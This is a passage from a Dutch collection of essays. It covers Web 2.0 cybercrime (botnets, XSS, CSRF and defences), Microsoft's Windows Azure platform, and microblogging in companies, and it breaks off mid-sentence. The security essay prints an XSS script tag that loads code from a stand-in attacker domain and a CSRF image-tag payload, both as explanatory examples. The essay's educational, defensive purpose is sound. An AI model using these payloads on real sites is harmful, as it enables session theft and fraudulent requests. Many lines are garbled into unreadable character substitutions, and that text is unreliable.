Participatie, bruikbaarheid, standaardisatie, combinatie van informatie (mash-upsɊȟȣ 

Het klopt allemaal. Toch: ontbreekt er niet iets? Ja, zeker: identificatie, beveiliging,... 

De laatste tijd is er steeds meer nieuws over de keerzijde van het web. Op het web is 

iedereen gelijk met als gevolg dat de grootst mogelijke onzin over de laatste 

griepepidemie naast het oordeel van specialisten staan. Omdat een goed 

identificatieproces ontbreekt is het zeer moeilijk uit te maken wie nu welk oordeel 

voor zijn rekening moet nemen. Verder brengen bedrijven social community sites in de 

wereld die een commercieel oogmerk hebben, zonder dat de vaak jonge gebruikers of 

hun ouders daar van op de hoogte zijn. Ook de zakelijke belangen van de bedrijven die 
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sociale platformen gratis beschikbaar stellen lijken zelf minder sociaal. Zij eisen van 

een gebruiker dat de informatie die op het platform beschikbaar komt voor weinig 

transparante doeleinden mag worden gebruikt: surfgedrag monitoren, passende 

ÒÅÃÌÁÍÅȭÓ ÔÏÎÅÎȟ ÍÁÒËÅÔÉÎÇÄÁÔÁ ÖÅÒËÏÐÅÎȟ ÅÔÃȢ $Å ÍÅÅÓÔÅ ×ÅÂÇÅÂÒÕÉËÅÒÓ ÇÁÁÎ ÅÒ 

vanuit dat het wel goed zit, maar zij hebben een vertrouwen in het web dat bij de 

huidige stand van zaken eigenlijk niet past. 

Wiju 2.0  

In het Taoisme is Wiju de leegte waar zowel het goede als het kwade uit voortkomt. 

Het bekende Yin-Yang symbool geeft fraai aan dat het één niet van het ander te 

scheiden is.   

  

Dit geldt niet minder voor Web 2.0. Tegenover elk positief aspect van Web 2.0 staat 

een net zo zwaarwegend negatief aspect. Hieronder zijn vier karakteristieken van Web 

2.0 tegenover vier karakteristieken van cybercrime gezet. 

¶ Webgemeenschap  

¶ Collectieve Intelligentie  

¶ Gedeelde creativiteit 

¶ Schaalbare netwerken 

¶ Rijke internet applicatie 

¶ Verlies van privacy, diefstal van 
identiteit 

¶ Georganiseerd cybercrime 

¶ Gedeelde slimheid 

¶ Veerkrachtige botnets 

¶ Krachtige cybercrime aanval 
 

Recent onderzoek toont duidelijk aan dat goed en slecht gebruik van het web beide 

ruim voor handen zijn. 
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CSI: Cyber Scene Investigations  

Niet alleen Web 2.0, ook cybercrime neemt een vlucht. Het Symantec Internet Security 

Threat Report van april 2009 laat zien dat: 

1. cybercrime steeds meer web-gebaseerd is; 
2. dat de aanvallen in eerste instantie gericht zijn op de gebruikers (phishing etc.) 

in plaats van op computers; 
3. dat de cybercrime economie zich heeft geconsolideerd en volwassen is 

geworden; 
4. dat aanvallers flexibel zijn in hun aanvaltactieken en die snel kunnen 

aanpassen.  
 

De cijfers liegen er niet om. Het aantal bedreigingen vanwege kwaadaardige code is in 

2008 ten opzichte van 2007 met ruim 260% toegenomen. 

 

 

Meestal gaat het om gebruikers van legitieme websites. Die websites zijn echter 

gecompromitteerd en bieden daardoor kwaadaardige inhoudt; hetzij direct, hetzij via 

een cross-site scripting aanval (zie hieronder). Het zal niemand verrassen dat de 

aanvallers bijna altijd op financieel gewin uit zijn. Driekwart van de phishing aanvallen 

heeft tot doel de financiële producten en services van anderen te misbruiken. En van 

de data die ontvreemd wordt en tot identiteitsdiefstal lijdt is het grootste deel 

financieel (29%), met telecom als tweede (20%) en de overheid als derde (17%). 

Verontrustende cijfers die serieus moeten worden genomen. 

Botnets  

Om welke technieken gaat het in de cybercrime? De kracht van Web 2.0 ligt voor een 

groot deel in een stabiel en flexibel internet. Voor cybercrime is dat niet anders. 
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Iedereen profiteert van een overvloed aan servers en services. De botmasters in 

cybercrime beschikken bovendien over zogenaamde botnets. 

 

 

Source picture: Cisco 

 

Een botnet is een verzameling machines die geïnfecteerd zijn met cybersoftware en 

daardoor onder controle staan van botmasters. Langs deze weg kunnen de botmasters 

bestanden ophalen of informatie verkrijgen die kan worden misbruikt, zoals 

gebruikers gegevens (UID, PWD), creditcard gegevens, etc.. Vooral als men weet in te 

breken op servers van creditcard maatschappijen, zoals onlangs nog grootschalig is 

gebeurd, of van andere financiële instellingen, kan dit uiteraard zeer lucratief zijn. 

In een botnet profiteert cybercrime van de veerkracht die überhaupt in onze 

internettechnieken zit. Zo is cybercrime infrastructuur tegenwoordig vaak zo 

redundant dat botnetten zich snel herstellen als een deel uitvalt. 
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Plaatst besmette code

Opent besmette pagina

Plaatst besmette code

Opent besmette pagina

Cross-site aanvallen  

Een typische web 2.0 cybercrime-techniek is het zogenaamde cross-site scripting. Er 

zijn twee typen: de cross-site scripting aanval (afgekort: XSS) en de cross-site request 

forgery (afgekort: CSRF). Op hoofdlijnen lijken de aanvallen op elkaar, maar een 

verschil is dat in het geval van XSS het vertrouwen bij de gebruiker ligt, terwijl bij 

CSRF het vertrouwen ligt bij de webserver die het verzoek om service ontvangt. 

In de eenvoudigste vorm gaat een XSS aanval als volgt in zijn werk. Het is een 

belangrijk kenmerk van veel Web 2.0 sites, zoals Google, Hyves, Facebook, Twitter, 

Webmail, dat zij de gebruiker in staat 

stellen input te leveren. Bij kwaadaardig 

gebruik bestaat die input niet zomaar uit 

tekst of andere media, maar uit scripts 

die door een web-applicatie-platformen 

in de browser (JavaScript, Flash,  etc.) 

kunnen worden uitgevoerd. Een veel 

gebruikt middel hierbij zijn html-

elementen die de mogelijkheid bieden 

om informatie op te halen van andere 

plekken op het web. U kunt hierbij denken aan tags als <a>, <img>, <script> en i-

forms. De mogelijkheid van interconnectie is natuurlijk de kracht van het web, maar in 

een onveilige architectuur is het ook haar zwakte. 

Stel dat het de aanvaller gelukt is een site met een kwaadaardig script te infecteren. Bij 

voorbeeld, op de algemeen toegankelijk site is het element: 

<script type="text/javascript" src="http://fouteboel.nu/xss.js"></script>. 

verborgen  Webmail, nu vaak als html aangeboden, kan ook op deze manier 

geïnfecteerd zijn. De tweede stap is om gebruikers te verleiden de geïnfecteerde site te 

bezoeken. Dit kan door naar de site te verwijzen in een e-mail (phishing). Zodra  een 

gebruiker de besmette site bezoekt of een besmette e-mail opent, wordt bij het openen 

direct het JavaScript xss.js van het domein http://fouteboel.nu opgehaald en 

uitgevoerd. Wat daarvan de gevolgen zijn hangt van de inhoud van het script af: de site 

kan op een ongewenste manier worden gewijzigd of vastlopen; user en log-in gegevens 

kunnen uit de sessie worden gelezen en naar de aanvaller worden gestuurd zodat die 

zich een tijdje als de aangevallene kan voordoen, en zo voort...   Soms is data die langs 

deze weg gestolen wordt, rijk genoeg om op de markt te brengen. De korte CSI 

hierboven laat zien dat dit lucratieve handel is. 

Een variant op een XSS aanval is de cross-site request forgery (CSFR). Bij CSFR ligt het 

onterechte vertrouwen hoofdzakelijk bij de webserver. Stel dat Boni in haar Blog 

schrijft dat zij voor EUR  23 de volledige Monty Python Flying Circus heeft gekocht op 

ÆÕÎȢÎÕȢ -ÁÌÕÓȟ ÅÅÎ ÍÉÓÄÁÄÉÇÅ ÌÅÚÅÒ ÖÁÎ "ÏÎÉȭÓ "ÌÏÇ ×ÉÌ ÄÅ β $6$ȭÓ ÖÁÎ ÄÅ $Å,ÕØÅ 

editie hebben, maar gratis. Hij open daarom een account op fun.nu en onderzoekt hoe 
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de webwinkel werkt. Er blijkt een geschenkenservice te zijn die met de volgende url 

wordt aangeroepen:  

http(s)://fun.nu/gift.php?from=x&to=y&article=z. 

De artikelcode van de begeerde DVD-ÂÏØ ÂÌÉÊËÔ ȬΪΪαȭ ÔÅ ÚÉÊÎȢ Het enige dat Malus nu 

nog te doen staat is Boni verleiden de volgende url te gebruiken: 

http(s)://fun.nu/gift.php?from=boni&to=malus&article=007 

-ÅÄÅ ÄÁÎËÚÉÊ "ÏÎÉȭÓ ÉÓ ÄÁÔ ÎÉÅÔ ÚÏ ÍÏÅÉÌÉÊËȢ :ÉÊ ÉÓ ÅÅÎ ÆÅÒÖÅÎÔ ÁÆÎÅÅÍÓÔÅÒ ÖÁÎ $6$ȭÓ ÅÎ 

daarom bijna altijd aangelogd op fun.nu. Als het Malus lukt Boni een pagina aan te 

bieden met het stukje JavaScript: 

document.write("<img src= http(s)://fun.nu/gift.php?from=boni&to=malus&article=007'>"); 

dan vertrouwt bij ontvangst de webserver erop dat het verzoek van Boni komt. 

Daardoor ontvangt Malus de gewenste serie al een paar dagen nadat Boni de pagina 

met deze code heeft bezocht. )ÎÄÅÒÄÁÁÄȟ ÚÏ ÓÉÍÐÅÌ ËÁÎ ÈÅÔ ÚÉÊÎȣ 

Maatregelen  
Laten we allereerst opsommen waar Web 2.0 qua beveiliging zwakke plekken vertoont. 

De kern van de zaak is: 

¶ dat de huidige generatie browsers krachtige applicatieplatformen bevatten; 

¶ dat de gebruikersgroep van deze applicaties meestal onbekend is en zich overal 
kunnen bevinden; 

¶ ÄÁÔ ÄÅ ÁÐÐÌÉÃÁÔÉÅÓ ÖÁÁË ÓÃÈÒÉÊÆÒÅÃÈÔÅÎ ÂÉÅÄÅÎȟ ÏÆ ȬÏÎÄÅÒ ×ÁÔÅÒȭ ÉÎÆÏÒÍÁÔÉÅ 
ophalen buiten de controle van de gebruiker om; 

¶ dat de security die per web 2.0 platform geïmplementeerd is, bij voorbeeld de 
same-origin-policy voor JavaScript, te zwak is; 

¶ dat er geen onafhankelijke, gestandaardiseerd security principes en processen 
zijn over alle web 2.0 platformen heen; 

¶ dat de gebruikelijke web 2.0 combinatie van al deze technieken sterk risco-
verhogend werkt; 

¶ dat de gewone gebruiker daar nauwelijks weet van heeft. 

Constateren is één ding, maar wat kunnen wij er aan doen? De Jericho Forum 

Commandments geeft tien nuttige stellingen, die kunnen leiden tot een goede aanpak 

(zie www.jerichoforum.org). Het basis idee is dat het gebruik van firewalls om het 

intranet van een bedrijf te scheiden van het extra- of het internet vaak schijnzekerheid 

ÂÉÅÄÔ ɉÖÁÎÄÁÁÒ Ȭ*ÅÒÉÃÈÏȭɊȢ &ÉÒÅ×ÁÌÌÓ ÚÉÊÎ ×ÅÌÄÅÇÅÌÉÊË ÎÕÔÔÉÇȟ ÍÁÁÒ ÖÁÁË ÍÉÎÄÅÒ ÎÕÔÔÉÇ 

dan men denkt. Wij doen er daarom goed aan te veronderstellen dat alle (web 2.0) 

applicaties en alle data in het bedrijf zich in een vijandige omgeving bevinden. Toch 

moet er niet meer beveiligd worden dan nodig is, en moeten maatregelen krachtig en 

simpel zijn; elke toename in complexiteit is risicoverhogend. Open 

beveiligingsstandaarden moeten gebruikers en systemen in staat stellen het eigen 

beveiligingsniveau te handhaven, zelfs in een sadistisch IT universum. Ook moeten wij 
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kunnen nagaan met wie of wat wij in het web te doen hebben. Mens, proces en 

techniek moeten op transparante wijze hun vertrouwen kenbaar maken, en bij 

vertrouwensbreuk moet duidelijk zijn wie, waar en hoe heeft gefaald. Toegang tot 

gegevens, en hun wijziging en transport moeten op geschikt niveau beveiligd zijn. 

Voor een deel wordt Jericho al gerealiseerd door aloude beveiliging wijsheid: verhard 

de infrastructuur zodat precies de juiste technische services worden geboden; 

authenticeer communicatie en beveilig die zonodig; ontwikkel applicaties volgens 

ȬÓÅÃÕÒÉÔÙ ÂÙ ÄÅÓÉÇÎȭȢ :Ï ÍÏÅÔ ÅÅÎ ×ÅÂ άȢΪ ÏÎÔ×ÉËËÅÌÁÁÒ ÅÒ ÖÁÎÁÆ ÄÅ ÅÅÒÓÔÅ ÓÔÁÐ ÖÏÏÒ 

zorgen dat de applicatie veilig is en ook op beveiligingsaspecten wordt getest. Er moet 

bij voorbeeld worden nagegaan of stukjes code (SQL, JavaScript, XSLTȟ 80ÁÔÈȟȣɊ ÄÉÅ 

via inputvelden worden geleverd, onschadelijk zijn; dat wil zeggen: naar platte tekst 

ȬÅÓÃÁÐÅÔȭ ÏÆ ÔÏÔ ×ÁÔ ÖÅÉÌÉÇÅ ÉÎÓÔÒÕÃÔÉÅÓ ×ÏÒÄÅÎ ÂÅÐÅÒËÔȢ /ÏË ÄÅ ÖÅÒÂÉÎÄÉÎÇÅÎ ×ÁÁÒÌÁÎÇÓ 

een web 2.0 platform informatie buiten de gebruiker om naar de browser haalt 

ɉ8-,(ÔÔÐ2ÅÑÕÅÓÔȟȣɊȟ ÍÏÅÔÅÎ ÖÅÉÌÉÇ ÚÉÊÎ ɉÂÉÊÖȢ ÄÏÏÒ 7ÅÂÓÅÒÖÉÃÅÓ 3ÅÃÕÒÉÔÙɊȠ ÅÒ ÍÁÇ ÎÉÅÔ 

op ingebroken kunnen worden. 

Ten slotte nog wat aandacht voor beveiligingszwaktes die belangrijk zijn voor Web 2.0 

ÐÌÁÔÆÏÒÍÅÎ ÉÎ ÄÅ ȰÃÌÏÕÄȱ ÖÁÎ ×ÅÂ-activiteit waarin zij worden aangeboden. 

Misschien wel de grootste omissie is dat web-activiteit voor het merendeel anoniem is. 

Goede Identity management ontbreekt: er is geen voldoende officiële uitgifte van 

paspoorten voor mensen of systemen, en daardoor kan bijna alles zich voordoen als 

iemand anders. Wat vooral ontbreekt is een onafhankelijke organisatie die de 

processen rondom paspoorten grootschalig voor haar rekening neemt: zoals uitdelen, 

geldigheid controleren e.d.. De techniek om dergelijke paspoorten uit te delen en  

ÇÅÁÕÔÏÍÁÔÉÓÅÅÒÄ ÔÅ ÃÏÎÔÒÏÌÅÒÅÎ ÉÓ ÅÒ ÁÌ ×ÅÌ ɉÃÅÒÔÉÆÉÃÁÔÅÎȟ #!ȭÓȟ +ÅÒÂÅÒÏÓȟȣɊ (ÉÅÒ ÌÉÇÔ 

duidelijk een taak voor de overheid. Vooralsnog beperkt die zich liever tot de 

goedkope variant, namelijk de burger op eigen verantwoordelijkheid te wijzen. Deze 

vlieger gaat echter niet op: web 2.0 beveiliging bestaat uit collectieve processen die de 

individuele gebruiker ver overstijgen. 

Een tweede grote omissie is het ontbreken van een algemeen beveiligingbeleid, dat 

onafhankelijk is opgesteld en kan worden gecontroleerd. Weliswaar zijn er richtlijnen 

(ISO 27001/27002 of ITU-T X.805), maar die moeten worden vertaald naar de praktijk 

en daar getoetst kunnen worden. Uiteindelijk willen wij naar een situatie waarin de 

gebruiker van hard- en software of van gegevens zonodig kan nagaan: 

¶ wie heeft geleverd (identity management), 

¶ aan welk kwaliteitscriteria het geleverde claimt te voldoen (inclusief 
beveiliging),  

¶ of het geleverde gecertificeerd is aan deze criteria te voldoen; 

¶ waar verhaal gehaald kan worden als deze claims ten onrechte zijn gedaan. 
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Ook hier is de techniek al beschikbaar waarmee dergelijke processen kunnen worden 

ingericht. Het grote gemis is een betrouwbare organisatie met de processen om de 

criteria op te stellen, te toetsen, op juist gebruik te controleren, etc. 

Binnen het bedrijf moet wij medewerkers aanmoedigen om innovatief gebruik te 

maken van het moois dat Web 2.0 ons biedt. Tegelijkertijd doet een bedrijf er goed aan 

hiervoor een security strategie in het leven te roepen die een goede afweging maakt 

ÖÁÎ ÄÅ ÖÏÏÒÄÅÌÅÎ ÅÎ ÄÅ ÄÁÁÒÂÉÊ ÂÅÈÏÒÅÎÄÅ ÒÉÓÉÃÏȭÓȢ !Ì ÉÓ ÖÏÏÒ ÖÅÌÅÎ ÖÁÎ ÏÎÓ ÉÓ 

informatiegebruik een soort van dagelijks brood, het zal nog wel even duren voordat 

dit gebruik net zo veilig is als een stevige hap volkeren met kaas en salade. 
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Windows  Azure ɀ 

-ÉÃÒÏÓÏÆÔȭÓ #ÌÏÕÄ #ÏÍÐÕÔÉÎÇ 

Platform  

Erwyn van der Meer, Development Consultant, Microsoft Services 

Introductie  

Haal je je stroom van het publieke electriciteitsnet of wek je thuis of als bedrijf je eigen 

stroom op? Als je zelf stroom opwekt, wat doe je als je opeens meer stroom nodig hebt 

dan je zelf kunt produceren? Verkoop je in rustperiodes je overschot aan stroom die je 

produceert? Een paar jaar geleden was het ongebruikelijk om als consument zelf 

stroom op te wekken en hoefde je niet over dit soort vragen na te denken. Sommige 

bedrijven hebben noodstroomvoorzieningen voor als het openbare stroomnet niet kan 

leveren, maar dit is niet de primaire stroomvoorziening.  

Met de nieuwste generatie verwarmingsketels kun je makkelijk thuis stroom 

opwekken. Dat is efficiënter dan electriciteitsproductie en -transport vanuit een 

centrale. Wat deze ontwikkeling mogelijk maakt is dat je 99,99% van de tijd in 

praktische zin geen verschil merkt tussen zelf stroom opwekken of stroom afnemen. Je 

wasmachine ziet slechts een spanning van 230 Volt uit het stopcontact komen.  

Cloud computing  

Electriciteitsproductie verschuift in de toekomst dus gedeeltelijk van centraal naar 

decentraal.Deze trend is omgekeerd aan wat we in de IT zien. Daar verschuift het 

aanbod van computing power van lokaal naar centraal.Het Internet maakt deze 

transparantie steeds verder mogelijk. Verbindingen zijn steeds sneller en stabieler en 

bijna altijd beschikbaar.Deze ontwikkeling zorgt ervoor dat je als architect extrakeuzes 

moet maken.Het afnemen van rekenkracht, dataopslag en -transport of software 

services via  een Internet aansluiting noemen we cloud computing. 

Software as a Service en Software + Services 

Het stroomnet is in Nederland gestandaardiseerd op 230V/50Hz en een bepaald type 

wandcontactdoos, maar elders in de wereld gelden andere standaarden. Cloud 

computing kent nog weinig standaarden. Er zijn verschillende aanbieders zoals 
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Amazon, Google en Microsoft. Het aanbieden van software services is het meest 

ingeburgerd. De meeste consumenten nemen e-mail als service af. Bij webmaildiensten 

als Hotmail en Gmail is de primaire verantwoordelijkheid voor het ontvangen en 

opslaan van e-mail uitbesteed in the cloud. Via standaarden als POP3, IMAP en SMTP 

kan er met deze services gecommuniceerd worden om e-mail op te halen of te 

versturen. Vaak volstaat ook een webapplicatie om e-mail te lezen en te schrijven. 

Bedrijven hebben over het algemeen nog hun eigen e-mailinfrastructuur, maar zouden 

deze kunnen vervangen door bijvoorbeeld ExchangeOnline. In Microsofts visie gaat 

deze trend niet naar 100% Software as a Service (SaaS). Microsoft is van mening dat 

een gebruiker of een gebruikersorganisatie moet kunnen kiezen welke combinatie van 

lokaal geïnstalleerde software en centraal geïmplementeerde diensten het beste 

aansluit bij de vraag. De beste gebruikerservaring ontstaat door een combinatie van 

Sofware + Services (S+S).Het is bijvoorbeeld nog steeds mogelijk om een rich client als 

Outlook te blijven gebruiken in combinatie met Exchange in the cloud.  Je e-mail en 

agenda zijn dan ook beschikbaar als je even geen Internetverbinding hebt en je kunt je 

e-mail veel rijker opmaken dan wat met een webmaildienst mogelijk is. 

Het businessmodel voor SaaS of S+S  is over het algemeen niet gebaseerd op 

licentieverkoop, maar op een abonnements- of verbruikstarief. Ook businessmodellen 

ÇÅÂÁÓÅÅÒÄ ÏÐ ÁÄÖÅÒÔÅÎÔÉÅÖÅÒËÏÏÐ ËÏÍÅÎ ÖÏÏÒȢ %ÅÎ ÍÏÏÉ ÖÏÏÒÂÅÅÌÄ ÖÁÎ ÚÏȭÎ ÇÒÁÔÉÓ 

advertentiegedrevenS+S dienst is Windows Live Messenger. Deze dienst werkt het 

beste via een rich cÌÉÅÎÔ ÁÐÐÌÉÃÁÔÉÅȢ :ÏȭÎ ÃÌÉÅÎÔ ÓÔÁÁÔ ÉÎ ÖÅÒÂÉÎÄÉÎÇ ÍÅÔ ÈÅÔ 

dichtstbijzijnde datacenter van Microsoft. Hiervan zijn er meerdere die wereldwijd zijn 

verspreid. De Windows Live Messenger service verwerkt ruwweg 10 miljard 

boodschappen per dag voor meer dan 300 miljoen mensen. 

Platform as a Service  

Software of services van de plank voorzien niet in alle computerbehoeftes. Er is nog 

steeds ruimte voor het (laten) ontwikkelen van bedrijfsspecifieke software. Maar waar 

laat je die software draaien? Waar laat je die software zijn data opslaan? Traditioneel 

gezien richt een bedrijf of instelling daarvoor één of meerdere eigen datacentra in. 

Vaak meer dan één om de software beschikbaar te houden als een datacentrum uitvalt. 

Hier is veel kennis voor nodig en het vergt een grote investering vooraf. Dit is voor 

beginnende bedrijven een enorme hindernis en voor iedereen een grote kostenpost. 

Wat nu als je een briljant idee hebt en de volgende Hyves, Facebook of geheel nieuwe 

dienst wilt ontwikkelen met een potentieel publiek van miljoenen mensen? Je moet je 

software dan zo ontwikkelen dat deze schaalbaar en hoogbeschikbaar is. Als je een 

wereldwijd publiek in gedachten hebt, moet je er rekening mee houden dat je je dienst 

om performance redenenen dicht bij de gebruiker moet hosten. 

Dit scenario is een ideale match voor een nieuw type cloud computing: Platform as a 

Service (PaaS)Ȣ "ÉÊ ÚÏȭÎ ÄÉÅÎÓÔ ÈÕÕÒ ÊÅ ïïÎ ÏÆ ÍÅÅÒ ÉÎÓÔÁÎÔÉÅÓ ÖÁÎ ÅÅÎ ÓÅÒÖÅÒ ÍÅÔ ÅÅÎ 

bepaald operating system(OS) in een datacentrum in geografisch gebieden naar keuze. 

Wat PaaS uniek maakt ten opzichte van traditionele hosting is dat je heel snel, in de 
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orde van grootte van minuten, extra servercapaciteit kunt toevoegen of afstoten. Je 

kunt letterlijk van 1 naar 10,100 of meer servers schalen in een paar minuten. 

PaaS is niet alleen interessant voor publieke diensten met een wereldwijd publiek. Er 

zijn volop softwareapplicaties die een piekgebruik in een beperkt gedeelte van het jaar 

kennen. Ook de behoefte aan dataopslag kan sterk variabel zijn. Het is dan interessant 

om gebruik te kunnen maken van een verbruikstarief in plaats van een hoeveelheid 

hardware en software gebaseerd op de pieksituatie te moeten aanschaffen. En net zoals 

je niet hoeft te weten hoe electriciteit precies wordt opgewekt (misschien slechts of het 

duurzaam geproduceerd is), kun je veel kosten besparen door niet te hoeven weten 

hoe je een datacentrum runt, hoe je een applicatie on demand opschaalt naar meerdere 

servers, hoe je voldoende bandbreedte regelt, etc. 

 

Windows Azure Platform  

Windows A zure  

Microsofts cloud operating system voor Platform as a Service heet Windows Azure. De 

combinatie van dit cloud OS en kant-en-klare services van Microsoft die in de cloud op 

dit OS draaien, heet het Windows Azure Platform. Windows Azure is een variant van 

Windows Server die met zo min mogelijk overhead gevirtualiseerd, uitgerold en 

beheerd kan worden in de datacenters van Microsoft.  Onderliggend is er eenfabric 

controller die alle instanties monitort en vervangt als ze niet meer gezond zijn.Het 

patch management is volledig geautomatiseerd. De fabric controller zorgt er voor dat 

applicatie- en systeemupdates toegepast worden zonder downtime voor je applicatie. 

Windows Azure is Windows. Als je applicaties kunt ontwikkelen op dit platform, of 

het nou .NET of PHP-based is, dan kun je die vaardigheden zo hergebruiken voor 

Windows Azure. Er zijn ook verschillen, maar die liggen op gebieden waar je sowieso 

rekening mee moet houden als je schaalbare applicaties met een hoge beschikbaarheid 

wilt realiseren. 

Je biedt je applicatie aan in de vorm van een package die door Windows Azure op een 

ÈÏÅÖÅÅÌÈÅÉÄ ÉÎÓÔÁÎÔÉÅÓ ÎÁÁÒ ËÅÕÚÅ ÕÉÔÇÅÒÏÌÄ ×ÏÒÄÔȢ :ÏȭÎ ÐÁÃËÁÇÅ ËÕÎ ÊÅ ÌÏËÁÁÌ ÍÁËÅÎ 

en testen vanuit het ontwikkelgereedschap Visual Studio. 

Blobs, Queues en Tables  

Naast rekenkracht en connectiviteit heb je ook opslag nodig. Windows Azure biedt dit 

in de vorm van blobs om bestanden tot vele GBs groot op te slaan, tables voor 

gestructureerde data en queues voor messaging tussen instanties in the cloud . Al deze 

opslagdiensten zijn ontworpen om zeer schaalbaar en fouttolerant te zijn.Via REST 
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over HTTPS APIs kun je technologieonafhankelijk deze data vanaf elke plek met een 

Internetaansluiting manipuleren (met authenticatie natuurlijk). 

SQL Azure 

Een superschaalbaar opslagmodel vergt wel een omslag in denkwijze en werkt heel 

anders dan een relationele database. Microsoft biedt klanten ook een cloud variant van 

SQL Server.Deze service heet SQL Azure. Dit biedt een bekend relationeel 

opslagmodel dat applicatiemigratie vergemakkelijkt en biedt tegelijkertijd ook 

voordelen zoals redundante opslag in meerdere datacenters.  

.NET Services 

Als je applicaties en services op verschillende locaties en over organisatiegrenzen heen 

aan elkaar wilt knopen, dan bieden de .NET Services daarvoor een Service Bus en 

Access Control. Deze cloud services maken het mogelijk om applicaties met elkaar te 

laten communiceren op een veilige, flexibele en firewallvriendelijke manier. Deze 

services maken ook onderdeel uit van het Windows Azure Platform. 

A la carte mo del  

Alle onderdelen van het Windows Azure Platform zijn los af te nemen en hebben geen 

wederzijdse afhankelijkheden. Als je bijvoorbeeld alleen opslag af wilt nemen, dan is 

dat mogelijk. Als je vanuit Windows Azure een andere opslagdienst op Internet wilt 

gebruiken, dan kan dat ook. 

Compliance en SLAs  

Cloud computing zorgt ook voor nieuwe uitdagingen. Zo moet je goed nadenken over 

de veiligheid van de data, wet- en regelgeving en betrouwbaarheid van de leverancier. 

Goede SLAs en beschikbaarheid van datacentra binnen de EU kunnen hierbij helpen. 

Conclusie  

Cloud computing biedt nieuwe mogelijkheden om op IT kosten te besparen. Er zijn 

meer keuzes die je moet maken bij het afnemen en ontwikkelen van software. Het 

Windows Azure Platform is een zeer schaalbaar platform voor applicaties en services 

met een hoge beschikbaarheid in the cloud. Dit platform combineert het kunnen 

hergebruiken van ontwikkelkennis met een simpel op hoeveelheid verbruik gebaseerd 

afrekenmodel. Als architect kun je nu al de mogelijkheden van dit cloud computing 

platform en de bijbehorende services uitproberen en vergelijken met concurrerende 

aanbieders. Het Windows Azure Platform is nu beschikbaar als Community 

Technology Preview en zal rond november 2009 commercieel beschikbaar 

komen.Embrace the cloud! 

Meer informatie  

¶ Windows Azure Platform: http://www.microsoft.com/azure/  

¶ Windows Azure Platform prijsmodel en SLAs: 

http://www.microsoft.co m/azure/pricing.mspx  

¶ Via Erwyn.van.der.Meer@microsoft.com  of Dennis.Mulder@microsoft.com .  

http://www.microsoft.com/azure/
http://www.microsoft.com/azure/pricing.mspx
mailto:Erwyn.van.der.Meer@microsoft.com
mailto:Dennis.Mulder@microsoft.com
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Verbondenheid stimuleren met 

sociale media  

Ervaringen en praktische tips 

 

Dr. Robert Slagter 

Gridd Consultancy 

Robert.slagter@gridd.nl 

Inleiding  

De verbondenheid tussen teamgenoten staat onder druk. Meer en meer kenniswerkers 

werken regelmatig mobiel, werken op tijden die ze het beste passen en zijn regelmatig 

bij de klant. Daarnaast wordt de thuisbasis een flexkantoor. Hoewel deze filosofie rond 

×ÅÒËÅÎ ÖÏÏÒÄÅÌÅÎ ÈÅÅÆÔ ÖÏÏÒ ÄÅ ÉÎÄÉÖÉÄÕÅÌÅ ËÅÎÎÉÓ×ÅÒËÅÒ ÚÉÊÎ ÅÒ ÏÏË ÒÉÓÉÃÏȭÓ ÁÁÎ 

ÖÅÒÂÏÎÄÅÎȢ %ïÎ ÖÁÎ ÄÉÅ ÒÉÓÉÃÏȭÓ ÉÓ ÄÁÔ ÔÅÁÍÇÅÎÏÔÅÎ ÅÌËÁÁÒ ÓÔÅÅÄÓ ÍÉÎÄÅÒ ÚÉÅÎ ÅÎ 

daardoor niet van elkaar weten waar ze aan werken, 

welke expertise ze opbouwen en welke uitdagingen ze 

tegenkomen. Hierdoor gaan teamgenoten langs elkaar 

heen werken, vinden ze het wiel opnieuw uit en wordt 

de organisatie als geheel minder efficiënt. Sociale media 

kunnen hierbij hulp bieden: op een laagdrempelige 

manier brengen zij teamgenoten op de hoogte van 

elkaars reilen en zeilen, bieden ze de mogelijkheid om 

contact op te nemen en snel te schakelen om 

uitdagingen in het werk het hoofd te bieden. Dus 

hoewel sociale media ook geschikt kunnen zijn voor communicatie met klanten of 

andere bedrijven, gaat het in dit hoofdstuk over het ondersteunen van communicatie 

ÔÕÓÓÅÎ ÃÏÌÌÅÇÁȭÓȢ 
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Hoewel verschillende vormen van sociale media nu een aantal jaar beschikbaar zijn, 

ontbreekt nog een helder beeld hoe deze middelen effectief ingezet kunnen worden 

ÂÉÎÎÅÎ ÏÒÇÁÎÉÓÁÔÉÅÓ ÏÍ ÄÅ ÖÅÒÂÏÎÄÅÎÈÅÉÄ ÔÕÓÓÅÎ ÃÏÌÌÅÇÁȭÓ ÔÅ ÓÔÉÍÕÌÅÒÅÎȢ )Î ÄÉÔ 

hoofdstuk beschrijven wij onze experimenten binnen bedrijven met één type van 

sociale media: microblogging. Microblogging is het op de hoogte houden van je 

netwerk door het versturen van zeer korte boodschappen. Het bekendste software 

product voor microblogging is Twitter. 

 

Het sociale media landschap  

Er zijn veel verschillende typen sociale media. Zonder hierin volledig te willen zijn, laat 

het volgende figuur een aantal toepassingen zien die op dit moment al regelmatig 

binnen bedrijven te vinden zijn. Het figuur geeft ook weer dat deze middelen vaak 

dienen om bijvoorbeeld conversaties te stimuleren binnen het bedrijf of om experts te 

kunnen vinden. 

 

 

Huidig gebruik van sociale media binnen bedrijven  

De schattingen van het huidige gebruik van sociale media binnen bedrijven geven aan 

dat vooral blogs, RSS feeds, wikis en sociale netwerken gebruikt worden. Daarbij laten 

de getallen van McKinsey (2008) een gestage toename in het gebruik zien. 

Microblogging behoort nog niet tot de typen sociale media die op dit moment veel 

gebruikt worden binnen bedrijven, hoewel de komst van enterprise microblogging 

software zoals Yammer (2009) en de microblogging faciliteiten in Confluence (2009) 

daarin snel verandering kan brengen. 
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Het percentage van bedrijven dat gebruik maakt van 

een specifieke technologie (McKinsey, 2008)  

2008  2007  

Blogs  34%  21%  

RSS  33%  24%  

Wikis  32%  24%  

Social networking  28% 27%  

 

De redenen waarom bedrijven wel of geen gebruik maken van sociale media zijn 

daarbij ook onderzocht door McKinsey (2008). De drie belangrijkste drempels waren: 

1. Het bedrijf ziet de potentiële financiële opbrengsten niet. (28%) 
2. De bedrijfscultuur stimuleert het gebruik van Web2.0 middelen niet. (22%) 
3. Het bedrijf biedt niet voldoende stimulans om sociale media te gaan gebruiken 

of ermee te experimenteren. (20%) 
 

Als drie belangrijkste reden om juist wel met sociale media aan de slag te gaan, werden 

genoemd: 

1. Kennismanagement. (83%) 
2. Samenwerking stimuleren. (78%) 
3. Het verbeteren van de bedrijfscultuur. (74%) 

 

Experimenten met microblogging binnen bedrijven  

Voor onze experimenten met microblogging binnen bedrijven hebben we gebruik 

